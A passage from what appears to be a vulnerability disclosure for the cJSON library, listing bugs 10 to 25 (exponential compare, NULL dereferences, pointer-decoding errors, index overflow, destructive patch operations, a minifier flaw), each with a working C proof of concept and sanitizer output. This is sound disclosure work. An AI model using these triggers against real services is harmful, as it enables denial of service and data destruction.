DEPTH = 25 };\nint main(void)\n{\n    char json[DEPTH * 6 + 2]; int i; clock_t t0; double sec; cJSON *a, *b;\n    for (i = 0; i < DEPTH; i++) { memcpy(json + i * 5, \"{\\\"k\\\":\", 5); json[DEPTH * 5 + 1 + i] = '}'; }\n    json[DEPTH * 5] = '1'; json[DEPTH * 6 + 1] = '\\0';\n    a = cJSON_Parse(json);\n    b = cJSON_Parse(json);\n    t0 = clock();\n    cJSON_Compare(a, b, 1);\n    sec = (double)(clock() - t0) / CLOCKS_PER_SEC;\n    printf(\"depth %d, %zu-byte document: cJSON_Compare took %.3f s\\n\", DEPTH, strlen(json), sec);\n    cJSON_Delete(a); cJSON_Delete(b);\n    return 0;\n}\ndepth 25, 151-byte document: cJSON_Compare took 2.045 s\n```\n\n###\nImpact\n\nExponential CPU consumption from a small document, resulting in Denial of Service. Of everything here, this is the one that asks the least of the application. Any service that compares a parsed document against another one is exposed.\n\n##\nBug number 11 (NULL pointer dereference)\n\n###\nDetails\n\n`cJSON_Utils.c:876`\n\nreads `object->string`\n\nwith no `NULL`\n\ncheck, on a path that `overwrite_item()`\n\nhas already returned early from for a `NULL`\n\nroot. A root-level `add`\n\nor `replace`\n\nagainst a `NULL`\n\nobject dereferences it.\n\nThat would be unremarkable caller error, except that cJSON’s own test suite asserts the opposite. `tests/misc_utils_tests.c:51-54`\n\nstates outright that `cJSONUtils_ApplyPatches(NULL, item)`\n\nmust not crash. It only survives today because `item`\n\nin that test isn’t an array, so it trips an earlier check and never reaches this line at all.\n\n###\nProof of Concept\n\n```\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *patch = cJSON_Parse(\"[{\\\"op\\\":\\\"add\\\",\\\"path\\\":\\\"\\\",\\\"value\\\":1}]\");\n\n    cJSONUtils_ApplyPatches(NULL, patch);\n    return 0;\n}\ncJSON_Utils.c:876:25: runtime error: member access within null pointer of type 'cJSON' (aka 'struct cJSON')\n    #0 0x00010468e8d4 in apply_patch cJSON_Utils.c:876\n    #1 0x00010468e1e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056\n    #2 0x000104699644 in main poc.c:12\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON_Utils.c:876:25\n\n==85774==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000038 (pc 0x00010468e94c bp 0x00016b79aaa0 sp 0x00016b79a5c0 T0)\n==85774==The signal is caused by a READ memory access.\n==85774==Hint: address points to the zero page.\n    #0 0x00010468e94c in apply_patch cJSON_Utils.c:876\n    #1 0x00010468e1e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056\n    #2 0x000104699644 in main poc.c:12\n\nSUMMARY: AddressSanitizer: SEGV cJSON_Utils.c:876 in apply_patch\n```\n\n`0x38`\n\nis the offset of `string`\n\nwithin `cJSON`\n\n.\n\nOne aside from the same path, while I’m here: `[{\"op\":\"remove\",\"path\":\"\"}]`\n\nagainst a `NULL`\n\nobject returns `0`\n\n, i.e. success, having done precisely nothing.\n\n###\nImpact\n\nNULL pointer dereference on a path the project’s own tests claim is safe, resulting in Denial of Service.\n\n##\nBug number 12 (NULL pointer dereference)\n\n###\nDetails\n\n`apply_patch()`\n\nand `detach_path()`\n\nread `valuestring`\n\nafter checking only `cJSON_IsString()`\n\n:\n\n``` php\n/* cJSON_Utils.c:839 */\nif (path->valuestring[0] == '\\0')   /* [ valuestring may be NULL ] */\n```\n\n`cJSON_CreateStringReference(NULL)`\n\nstores the pointer unchecked and produces a node that passes `cJSON_IsString()`\n\nwith a `NULL`\n\n`valuestring`\n\n, so this crashes. The same gap exists for the `op`\n\nfield at `cJSON_Utils.c:750`\n\nand the `from`\n\nfield at `:438`\n\n.\n\nThis is **not** reachable from parsed JSON, and I don’t want to oversell it. `parse_string()`\n\nalways assigns, and `cJSON_CreateString(NULL)`\n\nreturns `NULL`\n\n, so the application has to build the patch this way itself. That makes it a robustness gap and not an attack path. The mildly annoying part is that cJSON’s core does tolerate a `NULL`\n\n`valuestring`\n\nelsewhere; `print_string_ptr()`\n\nspecial-cases exactly that.\n\n###\nProof of Concept\n\n```\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *patch = cJSON_CreateArray();\n    cJSON *op = cJSON_CreateObject();\n\n    cJSON_AddStringToObject(op, \"op\", \"remove\");\n    cJSON_AddItemToObject(op, \"path\", cJSON_CreateStringReference(NULL));\n    cJSON_AddItemToArray(patch, op);\n    cJSONUtils_ApplyPatches(cJSON_CreateObject(), patch);\n    return 0;\n}\ncJSON_Utils.c:839:9: runtime error: applying zero offset to null pointer\n    #0 0x000100bd26fc in apply_patch cJSON_Utils.c:839\n    #1 0x000100bd21e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056\n    #2 0x000100bdd68c in main poc.c:16\ncJSON_Utils.c:839:9: runtime error: load of null pointer of type 'char'\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON_Utils.c:839:9\n\n==85915==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000100bd2770 bp 0x00016f256aa0 sp 0x00016f2565c0 T0)\n==85915==The signal is caused by a READ memory access.\n==85915==Hint: address points to the zero page.\n    #0 0x000100bd2770 in apply_patch cJSON_Utils.c:839\n    #1 0x000100bd21e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056\n    #2 0x000100bdd68c in main poc.c:16\n\nSUMMARY: AddressSanitizer: SEGV cJSON_Utils.c:839 in apply_patch\n```\n\n###\nImpact\n\nNULL pointer dereference, requiring the application to have built the patch document itself.\n\n##\nBug number 13 (NULL pointer write)\n\n###\nDetails\n\nFive allocations in `cJSON_Utils.c`\n\nare written to without checking the result: `cJSON_Utils.c:224`\n\n, `:242`\n\n, `:1120`\n\n, `:1175`\n\nand `:1246`\n\n. For instance:\n\n```\n/* cJSON_Utils.c:242 */\nfull_pointer = (unsigned char*)cJSON_malloc(strlen(target_pointer) + …);\nfull_pointer[0] = '/';   /* [ no NULL check ] */\n```\n\ncJSON checks essentially every other allocation, so these five read as oversights rather than a decision, and two of them are a write to `NULL + offset`\n\nrather than a plain crash.\n\nSeverity here is low and I’m not going to dress it up. The allocations are 3, 5, 22 and 24 bytes. On Linux with default overcommit a 3-byte `malloc`\n\ndoesn’t return `NULL`\n\nat all; the process gets OOM-killed instead. Getting here needs a hard `RLIMIT_AS`\n\n, a cgroup cap, a fixed-pool custom allocator via `cJSON_InitHooks`\n\n, or a constrained embedded target. Your application decides whether this is reachable, not a remote attacker.\n\n###\nProof of Concept\n\nThis is the only proof of concept here that needs a helper function, since it wants an allocator that fails on demand.\n\n```\n#include <stdlib.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nstatic long fail_at = -1;\nstatic void *hook(size_t size) { return (fail_at >= 0 && fail_at-- == 0) ? NULL : malloc(size); }\n\nint main(void)\n{\n    cJSON_Hooks hooks = { hook, free };\n    cJSON *root, *target;\n\n    cJSON_InitHooks(&hooks);\n    root = cJSON_Parse(\"{\\\"k\\\":{\\\"target\\\":1}}\");\n    target = cJSONUtils_GetPointer(root, \"/k/target\");\n    fail_at = 1;  /* 0 = the strdup(\"\") base case, 1 = full_pointer at :242 */\n    cJSONUtils_FindPointerFromObjectTo(root, target);\n    return 0;\n}\ncJSON_Utils.c:243:17: runtime error: applying zero offset to null pointer\n    #0 0x0001046c45fc in cJSONUtils_FindPointerFromObjectTo cJSON_Utils.c:243\n    #1 0x0001046c43ec in cJSONUtils_FindPointerFromObjectTo cJSON_Utils.c:217\n    #2 0x0001046d17c8 in main poc.c:21\ncJSON_Utils.c:243:17: runtime error: store to null pointer of type 'unsigned char'\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON_Utils.c:243:17\n\n==85930==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0001046c4674 bp 0x00016b7628e0 sp 0x00016b762740 T0)\n==85930==The signal is caused by a WRITE memory access.\n==85930==Hint: address points to the zero page.\n    #0 0x0001046c4674 in cJSONUtils_FindPointerFromObjectTo cJSON_Utils.c:243\n    #1 0x0001046c43ec in cJSONUtils_FindPointerFromObjectTo cJSON_Utils.c:217\n    #2 0x0001046d17c8 in main poc.c:21\n\nSUMMARY: AddressSanitizer: SEGV cJSON_Utils.c:243 in cJSONUtils_FindPointerFromObjectTo\n```\n\n###\nImpact\n\nCrash under memory pressure. Not attacker-triggerable, but worth knowing about if you’re one of the many people running cJSON on a fixed-pool allocator in firmware.\n\n##\nBug number 14 (data loss and memory leak)\n\n###\nDetails\n\nIf I could get one thing on this list fixed, it’d be this one. It needs no attacker at all, and it loses data in ordinary use without telling anybody.\n\ncJSON keeps a tail pointer: for a non-empty child list, `child->prev`\n\npoints at the *last* element, which is what makes appending O(1). `sort_list()`\n\nis a mergesort that builds a perfectly correct doubly-linked list and then never restores that invariant. At the split, `second->prev`\n\nis set to `NULL`\n\n, and if that element wins the first merge comparison it becomes the new head, still carrying a `NULL`\n\n`prev`\n\n:\n\n``` php\n/* cJSON_Utils.c:522 */\nsecond = second->prev;\nif (first != NULL)\n{\n    first->prev = NULL;\n}\nif (second != NULL)\n{\n    second->prev = NULL;      /* [ new head keeps prev == NULL ] */\n}\n```\n\n`sort_object()`\n\nthen assigns that head straight to `object->child`\n\n. Here’s what it costs you:\n\n``` php\n/* cJSON.c:2044 */\nelse\n{\n    /* append to the end */\n    if (child->prev)\n    {\n        suffix_object(child->prev, item);\n        array->child->prev = item;\n    }\n}\nreturn true;                  /* [ success reported even though nothing was linked ] */\n```\n\nWhen `child->prev`\n\nis `NULL`\n\nthe body gets skipped entirely and the function still returns `true`\n\n. By that point `add_item_to_object()`\n\nhas already `strdup`\n\n‘d the key onto the item, so the item and its key both leak.\n\nYou don’t have to call a sort function to hit this. `compare_json()`\n\n, `cJSONUtils_GenerateMergePatch()`\n\nand `cJSONUtils_GeneratePatches()`\n\nall sort internally, and what they sort is *your* documents, so merely diffing two objects is enough to corrupt both of them.\n\nIt triggers whenever a non-first key sorts to the front, so `{\"a\":1,\"b\":2}`\n\nis fine and `{\"b\":1,\"a\":2}`\n\nis broken. There used to be a `while (child->next)`\n\nfallback in `add_item_to_array()`\n\nthat would have absorbed all of this. It got removed in an optimisation to find the tail node faster.\n\n###\nProof of Concept\n\nLeakSanitizer isn’t available on macOS, so this counts allocations by hand.\n\n```\n#include <stdio.h>\n#include <stdlib.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\nstatic long live;\nstatic void *hook_malloc(size_t size) { live++; return malloc(size); }\nstatic void hook_free(void *p) { if (p) live--; free(p); }\n\nint main(void)\n{\n    cJSON_Hooks hooks = { hook_malloc, hook_free };\n    cJSON *from, *to, *added;\n    const char *lookup;\n    cJSON_InitHooks(&hooks);\n    from = cJSON_Parse(\"{\\\"b\\\":1,\\\"a\\\":2}\");  /* keys not already sorted */\n    to = cJSON_Parse(\"{\\\"b\\\":1,\\\"a\\\":3}\");\n    cJSON_Delete(cJSONUtils_GenerateMergePatch(from, to));  /* sorts `from` in place */\n    added = cJSON_AddNumberToObject(from, \"z\", 9);\n    lookup = cJSON_GetObjectItem(from, \"z\") ? \"found\" : \"MISSING\";\n    cJSON_Delete(from);\n    cJSON_Delete(to);\n    printf(\"AddNumberToObject returned %s, GetObjectItem(\\\"z\\\") is %s, %ld allocations outstanding\\n\",\n           added ? \"non-NULL (success)\" : \"NULL\", lookup, live);\n    return 0;\n}\nAddNumberToObject returned non-NULL (success), GetObjectItem(\"z\") is MISSING, 2 allocations outstanding\n```\n\n###\nImpact\n\nData loss with a success return value, plus a memory leak, in ordinary single-threaded use with nobody attacking anything.\n\n##\nBug number 15 (incorrect pointer decoding)\n\n###\nDetails\n\n`decode_pointer_inplace()`\n\ndecodes RFC 6901 escapes in place, and it’s wrong in two independent ways at once:\n\n```\n/* cJSON_Utils.c:359 */\nstatic void decode_pointer_inplace(unsigned char *string)\n{\n    unsigned char *decoded_string = string;\n\n    if (string == NULL) {\n        return;\n    }\n\n    for (; *string; (void)decoded_string++, string++)\n    {\n        if (string[0] == '~')\n        {\n            if (string[1] == '0')\n            {\n                decoded_string[0] = '~';\n            }\n            else if (string[1] == '1')\n            {\n                decoded_string[1] = '/';   /* [ should be decoded_string[0] ] */\n            }\n            else\n            {\n                /* invalid escape sequence */\n                return;\n            }\n\n            string++;\n        }\n        /* [ no else branch: ordinary characters are never copied ] */\n    }\n\n    decoded_string[0] = '\\0';\n}\n```\n\nThe first defect is the off-by-one on the `~1`\n\nbranch. The second one does the real damage: there’s no `else`\n\ncopying ordinary characters down to the lagging output pointer, so once an escape has moved the two pointers apart, every byte after it is stale.\n\nWhich gets you:\n\n| pointer token | decodes to | should be |\n|---|---|---|\n`a~1b` |\n`a~/` |\n`a/b` |\n`foo~1bar` |\n`foo~/ba` |\n`foo/bar` |\n`m~0n` |\n`m~0` |\n`m~n` |\n`abc~1xyz~0123` |\n`abc~/xy~~01` |\n`abc/xyz~123` |\n\nThis only affects the mutating patch operations, which split the final path token and decode it. `cJSONUtils_GetPointer()`\n\nis unaffected, because it goes through `compare_pointers()`\n\n, which decodes correctly.\n\nIf you go looking at this yourself, the off-by-one is the eye-catching half and the missing copy is easy to walk past. Fix only the index and `/a~1b`\n\ndecodes to `a/1`\n\n, which is still the wrong key.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *doc = cJSON_Parse(\"{}\");\n    cJSON *patch = cJSON_Parse(\"[{\\\"op\\\":\\\"add\\\",\\\"path\\\":\\\"/a~1b\\\",\\\"value\\\":1}]\");\n\n    cJSONUtils_ApplyPatches(doc, patch);\n    printf(\"add with path \\\"/a~1b\\\" created key \\\"%s\\\" instead of \\\"a/b\\\"\\n\", doc->child->string);\n    cJSON_Delete(patch);\n    cJSON_Delete(doc);\n    return 0;\n}\nadd with path \"/a~1b\" created key \"a~/\" instead of \"a/b\"\n```\n\nSo an `add`\n\nquietly creates the wrong key. A `remove`\n\n, `replace`\n\n, `move`\n\nor `copy`\n\nagainst an existing, correctly-named key fails with status 13 instead.\n\n###\nImpact\n\nPatch paths containing an escaped `/`\n\nor `~`\n\noperate on a different object member than the one they name.\n\n##\nBug number 16 (input validation)\n\n###\nDetails\n\nThe same function returns silently when it meets an invalid escape sequence:\n\n```\n/* cJSON_Utils.c:379 */\nelse\n{\n    /* invalid escape sequence */\n    return;      /* [ no failure signalled to the caller ] */\n}\n```\n\nA `~`\n\nfollowed by anything other than `0`\n\nor `1`\n\nisn’t a valid JSON Pointer, so the operation ought to fail. Instead the caller carries on with the raw, undecoded token and treats it as a literal object key. If the target document happens to contain a member by that literal name, the operation succeeds.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *doc = cJSON_Parse(\"{\\\"a~2b\\\":1}\");\n    cJSON *patch = cJSON_Parse(\"[{\\\"op\\\":\\\"remove\\\",\\\"path\\\":\\\"/a~2b\\\"}]\");\n    int status = cJSONUtils_ApplyPatches(doc, patch);\n    char *s = cJSON_PrintUnformatted(doc);\n\n    printf(\"remove with invalid pointer \\\"/a~2b\\\" returned status=%d and doc=%s\\n\", status, s);\n    cJSON_free(s);\n    cJSON_Delete(patch);\n    cJSON_Delete(doc);\n    return 0;\n}\nremove with invalid pointer \"/a~2b\" returned status=0 and doc={}\n```\n\n###\nImpact\n\nMalformed patch documents mutate state instead of being rejected.\n\n##\nBug number 17 (integer overflow)\n\n###\nDetails\n\n`decode_array_index_from_pointer()`\n\naccumulates digits with no overflow check:\n\n```\n/* cJSON_Utils.c:285 */\nfor (position = 0; (pointer[position] >= '0') && (pointer[position] <= '9'); position++)\n{\n    parsed_index = (10 * parsed_index) + (size_t)(pointer[position] - '0');\n}\n```\n\nThe index wraps modulo 2^64, so a wildly out-of-range array index comes back pointing at a perfectly valid element. Unsigned wraparound isn’t undefined behaviour, so no sanitizer is going to tell you about it either.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *array = cJSON_Parse(\"[\\\"zero\\\",\\\"one\\\",\\\"two\\\"]\");\n    cJSON *hit = cJSONUtils_GetPointer(array, \"/18446744073709551617\");\n\n    printf(\"returned element \\\"%s\\\" instead of NULL\\n\", hit ? hit->valuestring : \"(null)\");\n    cJSON_Delete(array);\n    return 0;\n}\nreturned element \"one\" instead of NULL\n```\n\n2^64+1 becomes index 1. An `add`\n\nat `/arr/18446744073709551616`\n\ninserts at position 0.\n\n###\nImpact\n\nAn out-of-range JSON Pointer that should be rejected instead reads, removes, replaces or inserts at an element of the attacker’s choosing.\n\n##\nBug number 18 (input validation)\n\n###\nDetails\n\nThe digit loop in that same function can run zero times. For an empty token, `position`\n\nstays `0`\n\n, the validity check passes because the current byte is `'\\0'`\n\nor `'/'`\n\n, and `parsed_index`\n\n, still sitting at `0`\n\n, comes back as a successfully decoded index.\n\nRFC 6901 wants an array index to be a sequence of decimal digits. The empty token is a legal *object* member name, and it does still correctly resolve as one, but it is not a legal array index.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *array = cJSON_Parse(\"[\\\"zero\\\",\\\"one\\\"]\");\n    cJSON *hit = cJSONUtils_GetPointer(array, \"/\");\n\n    printf(\"GetPointer(array, \\\"/\\\") returned element 0 (\\\"%s\\\") instead of NULL\\n\",\n           hit ? hit->valuestring : \"(null)\");\n    cJSON_Delete(array);\n    return 0;\n}\nGetPointer(array, \"/\") returned element 0 (\"zero\") instead of NULL\n```\n\nA `remove`\n\nwith path `/`\n\nagainst an array deletes element 0 and reports success, and a `move`\n\nwith a `from`\n\nof `/`\n\nreorders it.\n\n###\nImpact\n\nA malformed array pointer silently targets element 0.\n\n##\nBug number 19 (input validation)\n\n###\nDetails\n\n`get_item_from_pointer()`\n\ndrives its walk from the loop condition itself:\n\n```\n/* cJSON_Utils.c:311 */\nwhile ((pointer[0] == '/') && (current_element != NULL))\n```\n\nA JSON Pointer is either the empty string or it begins with `/`\n\n. Any other non-empty string skips the loop body entirely, and the function hands back the object it was given, which is to say the document root.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *doc = cJSON_Parse(\"{\\\"x\\\":1}\");\n    cJSON *patch = cJSON_Parse(\"[{\\\"op\\\":\\\"add\\\",\\\"path\\\":\\\"junk/b\\\",\\\"value\\\":2}]\");\n    int status = cJSONUtils_ApplyPatches(doc, patch);\n    char *s = cJSON_PrintUnformatted(doc);\n\n    printf(\"add with path \\\"junk/b\\\" returned status=%d and doc=%s\\n\", status, s);\n    cJSON_free(s);\n    cJSON_Delete(patch);\n    cJSON_Delete(doc);\n    return 0;\n}\nadd with path \"junk/b\" returned status=0 and doc={\"x\":1,\"b\":2}\n```\n\n`cJSONUtils_GetPointer(doc, \"garbage\")`\n\nwill likewise hand you back the whole root object.\n\n###\nImpact\n\nMalformed pointers resolve to the document root, so a patch naming a parent that doesn’t exist mutates the root instead of failing. And if you expose JSON Pointer lookups over a sensitive document, a malformed path returns the entire document.\n\n##\nBug number 20 (incorrect object member matching)\n\n###\nDetails\n\n`detach_path()`\n\ntakes a `case_sensitive`\n\nargument, uses it to resolve the parent, and then throws it away for the child:\n\n```\n/* cJSON_Utils.c:452 */\nparent = get_item_from_pointer(object, (char*)parent_pointer, case_sensitive);\ndecode_pointer_inplace(child_pointer);\n…\n/* cJSON_Utils.c:466 */\ndetached_item = cJSON_DetachItemFromObject(parent, (char*)child_pointer);\n```\n\n`cJSON_DetachItemFromObject()`\n\nis the case-**insensitive** variant. There’s no branch on the flag at all, which is odd given that `merge_patch()`\n\n, a few hundred lines further down, branches correctly.\n\nTo be clear, cJSON’s non-`CaseSensitive`\n\nAPIs are case-insensitive by design and documented as such, and that isn’t what I’m reporting. This is a different thing: the caller explicitly asked for case-sensitive behaviour and didn’t get it. You can watch the inconsistency happen inside a single call, where a `test`\n\noperation on `/role`\n\ncorrectly fails against `{\"Role\":true}`\n\nwhile a `remove`\n\non `/role`\n\nsails through.\n\nThere’s a second effect. `replace`\n\ndetaches and then re-adds under the path taken from the patch, so `replace /admin`\n\nagainst `{\"Admin\":false}`\n\nleaves you with `{\"admin\":true}`\n\n, the member having been renamed on the way through.\n\n`remove`\n\n, `replace`\n\nand the source side of `move`\n\nare all affected.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *doc = cJSON_Parse(\"{\\\"Role\\\":true}\");\n    cJSON *patch = cJSON_Parse(\"[{\\\"op\\\":\\\"remove\\\",\\\"path\\\":\\\"/role\\\"}]\");\n    int status = cJSONUtils_ApplyPatchesCaseSensitive(doc, patch);\n    char *s = cJSON_PrintUnformatted(doc);\n\n    printf(\"case-sensitive remove of \\\"/role\\\" returned status=%d and doc=%s\\n\", status, s);\n    cJSON_free(s);\n    cJSON_Delete(patch);\n    cJSON_Delete(doc);\n    return 0;\n}\ncase-sensitive remove of \"/role\" returned status=0 and doc={}\n```\n\n###\nImpact\n\n`cJSONUtils_ApplyPatchesCaseSensitive`\n\nremoves, replaces or moves a member whose name differs only in case from the one the patch actually names. That’s the API you would deliberately reach for when your object keys are case-distinct. Authorisation data, say.\n\n##\nBug number 21 (data loss)\n\n###\nDetails\n\n`generate_merge_patch()`\n\nsorts both objects with the case-aware comparator and then compares keys with a raw `strcmp()`\n\n:\n\n```\n/* cJSON_Utils.c:1406 */\nsort_object(from, case_sensitive);\nsort_object(to, case_sensitive);\n…\n/* cJSON_Utils.c:1423 */\ndiff = strcmp(from_child->string, to_child->string);\n```\n\nSo the merge walk’s comparator disagrees with the comparator that established the ordering, and the walk ends up emitting both spellings of a key that differs only in case. The generated patch comes out carrying a duplicate key with contradictory values, and applying it with the matching case-insensitive merge deletes the member that was just added.\n\nPick either reading and it’s still broken. Case-insensitively, the correct patch is empty. Case-sensitively, it should transform the document. What you get is `{}`\n\n.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *from = cJSON_Parse(\"{\\\"role\\\":true}\");\n    cJSON *to = cJSON_Parse(\"{\\\"Role\\\":true}\");\n    cJSON *patch = cJSONUtils_GenerateMergePatch(from, to);\n    char *p = cJSON_PrintUnformatted(patch);\n    char *r = cJSON_PrintUnformatted(cJSONUtils_MergePatch(cJSON_Parse(\"{\\\"role\\\":true}\"), patch));\n\n    printf(\"patch = %s ; applying it yields %s instead of {\\\"Role\\\":true}\\n\", p, r);\n    cJSON_free(p);\n    cJSON_free(r);\n    return 0;\n}\npatch = {\"Role\":true,\"role\":null} ; applying it yields {} instead of {\"Role\":true}\n```\n\n###\nImpact\n\nTotal data loss when synchronising two documents whose keys differ in case.\n\n##\nBug number 22 (incorrect diff generation)\n\n###\nDetails\n\n`generate_merge_patch()`\n\nrecurses by calling the *public* wrapper rather than itself:\n\n``` php\n/* cJSON_Utils.c:1455 */\ncJSON_AddItemToObject(patch, to_child->string,\n                      cJSONUtils_GenerateMergePatch(from_child, to_child));\n```\n\n`cJSONUtils_GenerateMergePatch()`\n\nhard-codes `case_sensitive = false`\n\n. Which means `cJSONUtils_GenerateMergePatchCaseSensitive()`\n\nis case-sensitive at the top level and case-insensitive everywhere underneath it.\n\nThe same input shape gives you a correct patch at depth 0 and a wrong one once it’s nested. That’s what makes this a bug and not an argument about semantics.\n\n###\nProof of Concept\n\nYou need a nesting depth of at least two before it shows up.\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *from = cJSON_Parse(\"{\\\"a\\\":{\\\"b\\\":{\\\"X\\\":1}}}\");\n    cJSON *to = cJSON_Parse(\"{\\\"a\\\":{\\\"b\\\":{\\\"x\\\":1}}}\");\n    cJSON *patch = cJSONUtils_GenerateMergePatchCaseSensitive(from, to);\n\n    printf(\"returned %s\\n\", patch ? \"a patch\" : \"NULL (no change needed)\");\n    cJSON_Delete(patch);\n    cJSON_Delete(from);\n    cJSON_Delete(to);\n    return 0;\n}\nreturned NULL (no change needed)\n```\n\n###\nImpact\n\nA replication or synchronisation consumer is told no patch is needed and never converges.\n\n##\nBug number 23 (data loss)\n\n###\nDetails\n\n`apply_patch()`\n\ndestroys data before it validates. For `remove`\n\nand `replace`\n\nit detaches and deletes the existing item at `cJSON_Utils.c:887-896`\n\n, then goes looking for the `value`\n\nmember 54 lines later:\n\n```\n/* cJSON_Utils.c:941 */\nelse /* Add/Replace uses \"value\". */\n{\n    value = get_object_item(patch, \"value\", case_sensitive);\n    if (value == NULL)\n    {\n        /* missing \"value\" for add/replace. */\n        status = 7;\n        goto cleanup;\n    }\n```\n\n`move`\n\nis worse. The source gets detached at `:918`\n\nbefore the destination parent is resolved at `:971`\n\n, and every failure path funnels into `cleanup`\n\n, which deletes the detached node. A `move`\n\nwith a valid `from`\n\nand any unresolvable `path`\n\ntherefore destroys the moved value irrecoverably, across five different failure statuses.\n\ncJSON does disclaim atomicity. The header says so and offers a duplicate-then-swap recipe in a comment. What makes this a defect and not that documented caveat is the inconsistency. `add`\n\nwith no value leaves the document untouched. `copy`\n\nwith a bad `from`\n\nleaves it untouched. Even **root** `replace`\n\nwith no value leaves it untouched, because the root special case validates `value`\n\nbefore calling `overwrite_item()`\n\n. It’s only the non-root `replace`\n\npath that gets the ordering wrong.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *o = cJSON_Parse(\"{\\\"a\\\":1}\");\n    cJSON *m = cJSON_Parse(\"{\\\"a\\\":1}\");\n    int s1 = cJSONUtils_ApplyPatches(o, cJSON_Parse(\"[{\\\"op\\\":\\\"replace\\\",\\\"path\\\":\\\"/a\\\"}]\"));\n    int s2 = cJSONUtils_ApplyPatches(m, cJSON_Parse(\"[{\\\"op\\\":\\\"move\\\",\\\"from\\\":\\\"/a\\\",\\\"path\\\":\\\"/x/b\\\"}]\"));\n\n    printf(\"replace-without-value status=%d doc=%s\\n\", s1, cJSON_PrintUnformatted(o));\n    printf(\"move-to-bad-path      status=%d doc=%s\\n\", s2, cJSON_PrintUnformatted(m));\n    return 0;\n}\nreplace-without-value status=7 doc={}\nmove-to-bad-path      status=9 doc={}\n```\n\nMoving a node into its own descendant is the cleanest case of the lot. `{\"a\":{\"b\":{}}}`\n\nwith `[{\"op\":\"move\",\"from\":\"/a\",\"path\":\"/a/b\"}]`\n\nreturns status 9 and leaves you holding `{}`\n\n.\n\n###\nImpact\n\nReachable from attacker-supplied patch bytes alone, with nothing unusual required of the application. A remote party can delete any addressable member while the API reports failure. If your code reads a non-zero status as “nothing happened” and carries on serving the object, that’s attacker-chosen data destruction.\n\n##\nBug number 24 (structural corruption and memory leak)\n\n###\nDetails\n\n`overwrite_item()`\n\nfinishes by copying the replacement over the node wholesale:\n\n```\n/* cJSON_Utils.c:804 */\nmemcpy(root, &replacement, sizeof(cJSON));\n```\n\n`replacement`\n\nis a freshly duplicated node, so its `next`\n\nand `prev`\n\nare `NULL`\n\n. Copying the whole struct therefore stamps over the target’s sibling pointers. If the patched node is a document root, no harm done. If the application applies a root-level operation to a *sub-node* of a document, which is a perfectly reasonable thing to want to do, the sibling list gets severed and every following member becomes unreachable. The node’s key name is freed along with it, so it prints with an empty key.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *doc = cJSON_Parse(\"{\\\"a\\\":1,\\\"b\\\":2,\\\"c\\\":3}\");\n    cJSON *patch = cJSON_Parse(\"[{\\\"op\\\":\\\"replace\\\",\\\"path\\\":\\\"\\\",\\\"value\\\":9}]\");\n    char *s;\n\n    cJSONUtils_ApplyPatches(cJSON_GetObjectItem(doc, \"a\"), patch);\n    s = cJSON_PrintUnformatted(doc);\n    printf(\"doc=%s\\n\", s);\n    cJSON_free(s);\n    cJSON_Delete(patch);\n    cJSON_Delete(doc);\n    return 0;\n}\ndoc={\"\":9}\n```\n\nMembers `b`\n\nand `c`\n\nare gone from the document and leaked, and `a`\n\nhas lost its key.\n\n###\nImpact\n\nStructural corruption and a memory leak, with no indication that either happened.\n\n##\nBug number 25 (data corruption)\n\n###\nDetails\n\n`cJSON_Minify()`\n\nhandles escapes inside strings by special-casing exactly one sequence:\n\n```\n/* cJSON.c:2916 */\nelse if ((json[0] == '\\\\') && (json[1] == '\\\"'))\n{\n    /* string escape sequence */\n    …\n}\n```\n\nJSON treats a quote as escaped only when an odd number of backslashes come before it. Here any `\\`\n\nfollowed by `\"`\n\ngets skipped, so in `\\\\`\n\nthe second backslash reads as the start of an escape and the closing quote gets eaten as though it were escaped too. The minifier never leaves string mode, and just keeps chewing through real JSON syntax as if it were string content.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\nint main(void)\n{\n    char doc[] = \"[\\\"\\\\\\\\\\\", \\\"a//b\\\", 1]\";\n    char sp[] = \"[\\\"\\\\\\\\\\\", \\\"keep  these  spaces\\\"]\";\n    cJSON *r;\n    printf(\"input     : %s\\n\", doc);\n    cJSON_Minify(doc);\n    r = cJSON_Parse(doc);\n    